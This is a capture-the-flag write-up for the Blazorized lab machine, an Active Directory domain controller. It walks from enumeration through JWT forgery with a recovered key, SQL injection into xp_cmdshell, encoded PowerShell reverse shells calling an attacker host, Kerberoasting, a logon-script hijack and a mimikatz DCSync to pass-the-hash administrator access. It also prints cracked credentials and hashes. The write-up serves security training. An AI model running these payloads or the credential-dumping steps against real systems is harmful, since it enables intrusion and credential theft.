Explore the fundamentals of cybersecurity in the Blazorized Capture The Flag (CTF) challenge, a medium-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.

Add Hosts

10.10.11.22 blazorized.htb admin.blazorized.htb

Script to add hosts automatically

ip="10.10.11.22"
domain="blazorized.htb admin.blazorized.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts

Mapping

nmap -sCV blazorized.htb
Host is up (0.048s latency).
Not shown: 986 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Mozhar's Digital Garden
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-11-01 22:20:28Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: blazorized.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
1433/tcp open  ms-sql-s      Microsoft SQL Server 2022
|_ssl-date: 2024-11-01T22:20:39+00:00; -1s from scanner time.
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-11-01T22:17:59
|_Not valid after:  2054-11-01T22:17:59
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: blazorized.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2024-11-01T22:20:33
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Subdomains

To discover subdomains for the blazorized.htb domain using ffuf, run the following command:

ffuf -c -u "http://blazorized.htb" -H "host: FUZZ.blazorized.htb" -w /usr/share/dict/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -fc 301,302,404 -mc all

Result:

admin                   [Status: 200, Size: 2017, Words: 149, Lines: 28, Duration: 65ms]

Analyzing Framework Files

You can retrieve Blazor framework files using curl. For instance, to get the blazor.server.js file:

curl -s http://blazorized.htb/_framework/blazor.server.js | grep '_framework/'

To beautify and print the Blazor WebAssembly file:

curl -s http://blazorized.htb/_framework/blazor.webassembly.js | prettier --parser babel | grep '_framework/'
curl -s http://blazorized.htb/_framework/blazor.boot.json | jq '.resources.lazyAssembly'

To download the Blazorized.Helpers.dll, use:

wget http://blazorized.htb/_framework/Blazorized.Helpers.dll

For analyzing the downloaded DLL, you can use AvaloniaILSpy or dnSpy.

  • Preferred Tool: I recommend using AvaloniaILSpy since it runs on Mono and is less likely to crash on Linux.

Finding JWT Information

  1. Open Blazorized.Helpers in AvaloniaILSpy.
  2. Navigate to the Blazorized.Helpers.JWT section.
  3. Look for hardcoded payload information used for JWT creation.

Crafting Admin Coockie



```python
import jwt
import datetime

key = '8697800004ee25fc33436978ab6e2ed6ee1a97da699a53a53d96cc4d08519e185d14727ca18728bf1efcde454eea6f65b8d466a4fb6550d5c795d9d9176ea6cf021ef9fa21ffc25ac40ed80f4a4473fc1ed10e69eaf957cfc4c67057e547fadfca95697242a2ffb21461e7f554caa4ab7db07d2d897e7dfbe2c0abbaf27f215c0ac51742c7fd58c3cbb89e55ebb4d96c8ab4234f2328e43e095c0f55f79704c49f07d5890236fe6b4fb50dcd770e0936a183d36e4d544dd4e9a40f5ccf6d471bc7f2e53376893ee7c699f48ef392b382839a845394b6b93a5179d33db24a2963f4ab0722c9bb15d361a34350a002de648f13ad8620750495bff687aa6e2f298429d6c12371be19b0daa77d40214cd6598f595712a952c20eddaae76a28d89fb15fa7c677d336e44e9642634f32a0127a5bee80838f435f163ee9b61a67e9fb2f178a0c7c96f160687e7626497115777b80b7b8133cef9a661892c1682ea2f67dd8f8993c87c8c9c32e093d2ade80464097e6e2d8cf1ff32bdbcd3dfd24ec4134fef2c544c75d5830285f55a34a525c7fad4b4fe8d2f11af289a1003a7034070c487a18602421988b74cc40eed4ee3d4c1bb747ae922c0b49fa770ff510726a4ea3ed5f8bf0b8f5e1684fb1bccb6494ea6cc2d73267f6517d2090af74ceded8c1cd32f3617f0da00bf1959d248e48912b26c3f574a1912ef1fcc2e77a28b53d0a'
issuer = 'http://api.blazorized.htb'
audience = 'http://admin.blazorized.htb'

email = "superadmin@blazorized.htb"
role = "Super_Admin"

expiration = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(seconds=60)

payload = {
    "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress": email,
    "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": role,
    "iss": issuer,
    "aud": audience,
    "exp": int(expiration.timestamp()),
    "iat": int(datetime.datetime.now(datetime.timezone.utc).timestamp())
}

token = jwt.encode(payload, key, algorithm="HS512")
print(token)
```

### Accessing Admin Pages
- **Store JWT**: Save the JWT token in local storage:
  ```javascript
  localStorage.setItem('jwt', '<your_jwt_token_here>');
  ```
- **Gain Access**: Access the following admin URLs:
  - [Admin Home](http://admin.blazorized.htb/home)
  - [Check Duplicate Post Title](http://admin.blazorized.htb/check-duplicate-post-title)

### SQL Injection
- **Testing for Vulnerabilities**:
  - Test with these payloads:
    - `pwn' or 1=1 --`
    - `pwn' or 1=2 --`
  - Different responses indicate a vulnerability.

- **Network Monitoring**:
- Monitor ICMP traffic:
```bash
sudo tcpdump -i any icmp
```

- **Command Execution**:
- Execute commands via SQL injection:
```sql
pwn'; EXEC master..xp_cmdshell 'ping 10.10.14.17';-- -
```

**Note**: This confirms the command execution functionality within the database.

### SQL Revshell

- **Listening for Connections**:
- Start a listener on port 9001 using Netcat:
```bash
nc -lvnp 9001
```

- **Payload Generation**:
- Use the following command to create a PowerShell reverse shell payload:
```bash
echo -n '$client = New-Object System.Net.Sockets.TCPClient("'$(ip a | grep -A 2 "tun0:" | grep -oP "(?<=inet\s)\d+(\.\d+){3}")'",9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv -f UTF-8 -t UTF-16LE | base64 -w 0
```

- **Execute the Payload via SQL Injection**:
- Use the following SQL injection command to execute the payload:
```sql
pwn'; EXEC master..xp_cmdshell 'powershell -e <payload>';--
```

- **To read the flag**:
```powershell
type \users\nu_1055\Desktop\user.txt
```

### PowerView.ps1

- Download PowerView:
```bash
curl http://10.10.14.17:8000/PowerView.ps1 -o PowerView.ps1
. ./PowerView.ps1
```

- Find interesting domain ACLs:
```powershell
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "nu_1055"}
Get-NetUser -SPN | select serviceprincipalname
```

- **Kerberoasting Guide**:
  - Reference: [HackTricks - Kerberoasting](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast?source=post_page-----894f707082a7--------------------------------)

- **Set a Domain Object and Get Domain SPN Ticket**:
```powershell
Set-DomainObject -Identity RSA_4810 -SET @{serviceprincipalname='pwn/domain'}
Get-DomainSPNTicket -SPN pwn/domain
```

Brute Force the Hash

echo -n "Password Hash? -->" ; read hash
echo "$hash" > /tmp/hash.txt
hashcat 13100 -a 0 /tmp/hash.txt /usr/share/dict/rockyou.txt
hashcat /tmp/hash.txt --show
rm -rf /tmp/hash.txt


```bash
evil-winrm -i blazorized.htb -p '(Ni7856Do9854Ki05Ng0005 #)' -u RSA_4810
```

PowerView Usage for User Enumeration:

```bash
upload .local/www/win/enum/PowerView.ps1
Import-Module ./PowerView.ps1
Get-NetUser
```

**Output Example**:
```
samaccounttype        : USER_OBJECT
accountexpires        : NEVER
```

- Insert the `ScriptPath` for the `RSA-4810` account, granting full access to the suspicious account. The `shell.bat` file will execute whenever `SSA_6010` logs in:
  
```powershell
Set-ADUser -Identity SSA_6010 -ScriptPath "A32FF3AEAA23\shell.bat"
```

Listener:

```bash
nc -vnp 9002
```

Payload:

```bash
echo -n '$client = New-Object System.Net.Sockets.TCPClient("'$(ip a | grep -A 2 "tun0:" | grep -oP "(?<=inet\s)\d+(\.\d+){3}")'",9002);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv -f UTF-8 -t UTF-16LE | base64 -w 0
```

```powershell
'powershell -e <payload>' | Out-File -FilePath C:\Windows\sysvol\domain\scripts\A32FF3AEAA23\shell.bat -Encoding ASCII
```

```bash
cd \users\ssa_6010
curl http://10.10.14.17:8000/mimikatz.exe -o mimikatz.exe
.\mimikatz.exe "privilege::debug" "lsadump::dcsync /user:administrator" "exit"
```

```bash
secretsdump.py WORKGROUP/Administrator@10.10.11.22 -hashes :f55ed1465179ba374ec1cad05b34a5f3
```

```bash
evil-winrm -i blazorized.htb -H 'f55ed1465179ba374ec1cad05b34a5f3' -u administrator
```

```powershell
type \users\administrator\desktop\root.txt
```